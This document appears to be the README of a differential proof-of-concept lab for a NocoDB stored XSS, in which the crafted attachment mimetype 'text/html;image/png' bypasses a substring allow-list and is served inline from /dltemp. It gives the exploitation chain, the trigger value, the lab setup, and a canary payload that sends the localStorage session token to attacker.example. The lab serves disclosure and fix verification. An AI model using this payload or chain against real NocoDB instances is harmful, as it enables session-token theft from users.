
Differential proof-of-concept lab for CVE-2026-126269, a NocoDB stored XSS via attachment MIME allow-list bypass that serves attacker HTML inline from /dltemp.
text/html;image/png Render Same-Origin via /dltemp| CVE | CVE-2026-126269 (GHSA-3f7w-wqf7-786q, High 8.7 CVSS v3.1) |
| Component | NocoDB — attachmentHelpers.ts preview gate, PresignedUrl.ts serve path, /dltemp handler (attachments.controller.ts) |
| Affected | < 2026.09.0 |
| Fixed in | 2026.09.0 (Content-Disposition: attachment + X-Content-Type-Options: nosniff on signed serves) |
| CWE | CWE-79 (Cross-site Scripting) |
| Impact | An Editor stores the crafted mimetype text/html;image/png on an attachment cell through the records API; the unauthenticated /dltemp signed URL then serves the attacker's HTML inline from the NocoDB origin — same-origin script execution, able to read the session token from localStorage["nocodb-gui-v2"] |
| Vector | Records API write (Editor+) + unauthenticated signed-URL fetch (no interaction with the attacker's account; victim opens the record or the link) |
| Trigger | Attachment cell mimetype = "text/html;image/png" — passes the substring allow-list while resolving to text/html |
| Credit | Reported by @PratibhaDevi29; advisory published by mertmit (NocoDB) |
The attachment preview gate asked previewableMimeTypes.some((type) => mimetype.includes(type)) — a substring test over the whole stored string — and the records API stored an attachment cell's mimetype without validation. A value like text/html;image/png therefore sails through the allow-list while resolving to text/html, and the read path echoes the stored mimetype verbatim as the response Content-Type with Content-Disposition: inline — no X-Content-Type-Options: nosniff, no script-src policy. This lab proves the full chain against the official images with three independent server-side markers: the vulnerable build serves the attacker's HTML document inline with the echoed content type to unauthenticated callers; the fixed build serves the identical cell with Content-Disposition: attachment and X-Content-Type-Options: nosniff.
Three defects compose:
attachmentHelpers.ts): previewableMimeTypes.some((type) => mimetype.includes(type)) — text/html;image/png contains image/png and passes, while parsing as text/html.image/png in this lab), but an attachment cell's mimetype written through POST/PATCH /api/v2/tables/{tableId}/records is stored verbatim.PresignedUrl.ts → /dltemp): the read path mints a signed URL for the cell and serves it with the cell's mimetype as the response content type, Content-Disposition: inline, and no X-Content-Type-Options / script-src policy.The signed URL requires no authentication, so anyone holding the link — or the victim opening the record in the app (the in-app preview embeds the same response) — executes the payload in the NocoDB origin.
| service | image | role |
|---|---|---|
nocodb-vuln | 2026.08.2 | vulnerable side (admin bootstrapped from env) |
nocodb-fixed | 2026.09.0 | fixed side, identical configuration |
poc | — | stdlib Python driver; performs the whole chain via the API and inspects the unauthenticated serve |
All containers are CPU/memory bounded on the isolated cve126269lab network. No browser is needed: the stored-XSS condition is fully determined by the server's response headers and body, which the PoC captures.
./run-lab.sh build # PoC runner image
./run-lab.sh sweep # exploit / probe / mitigation / check
./run-lab.sh down
Single mode:
podman run --rm --network=cve126269lab cve-2026-126269-poc:local exploit
poc/poc.py — stdlib-only, four modes:
| mode | purpose |
|---|---|
check | run the whole chain against one target (one canary record; documented side effect) and classify the signed serve |
exploit | full differential: the vulnerable build must serve the crafted HTML inline with the echoed content type; the fixed build must not |
probe | companion primitives: upload-time mimetype normalization (the gap is the records-API write, not the upload), unauthenticated serving of the crafted cell, and the original upload-time signed URL remaining image/png |
mitigation | maps the exposure to the records-API write path on the same vulnerable binary; upgrade to ≥ 2026.09.0 is the complete fix |
Exit codes: 0 safe / mapped, 1 vulnerable, 2 target unreachable, 3 inconclusive, 4 internal error.
| reproduction path | vulnerable 2026.08.2 | fixed 2026.09.0 | evidence |
|---|---|---|---|
crafted cell (text/html;image/png), read-time signed URL, unauthenticated GET | Content-Type: text/html;image/png, Content-Disposition: inline, no nosniff, HTML document served | same cell served with Content-Disposition: attachment + X-Content-Type-Options: nosniff | evidence/poc-exploit.txt |
| upload-time mimetype | normalized to image/png | normalized | evidence/poc-probe.txt |
| original upload-time signed URL | still serves image/png inline | — | evidence/poc-probe.txt |
check canary | served-inline-html → exit 1 | — | evidence/poc-check.txt |
The attacker's served document is a canary (fetch("//attacker.example/?t="+localStorage["nocodb-gui-v2"])): it demonstrates that the served document is attacker-controlled HTML executing in the NocoDB origin, and the advisory documents the localStorage session-token reach.
podman compose; --cpus 2 --memory 4g per container; isolated cve126269lab network.nocodb/nocodb images./) before the API router is mounted; the PoC retries sign-in through the boot window.Content-Type: text/html;image/png — the neutralization relies entirely on Content-Disposition: attachment + nosniff. Any consumer that renders the response without honoring those headers (a custom integration, an in-app iframe that strips disposition) remains exposed; upgrading removes the substring gate upstream and is the complete fix.image/png even on the vulnerable build — exposure is bounded to cells whose mimetype was rewritten through the records API after upload (evidence/poc-probe.txt). Deployments that proxy all attachment reads and re-derive content types from the stored file bypass the issue.X-Content-Type-Options: nosniff is absent on vulnerable responses; with a content type of text/html;image/png, browsers honor the text/html prefix directly — no sniffing needed — so the missing header is not load-bearing for the exploit, only for the fix's completeness.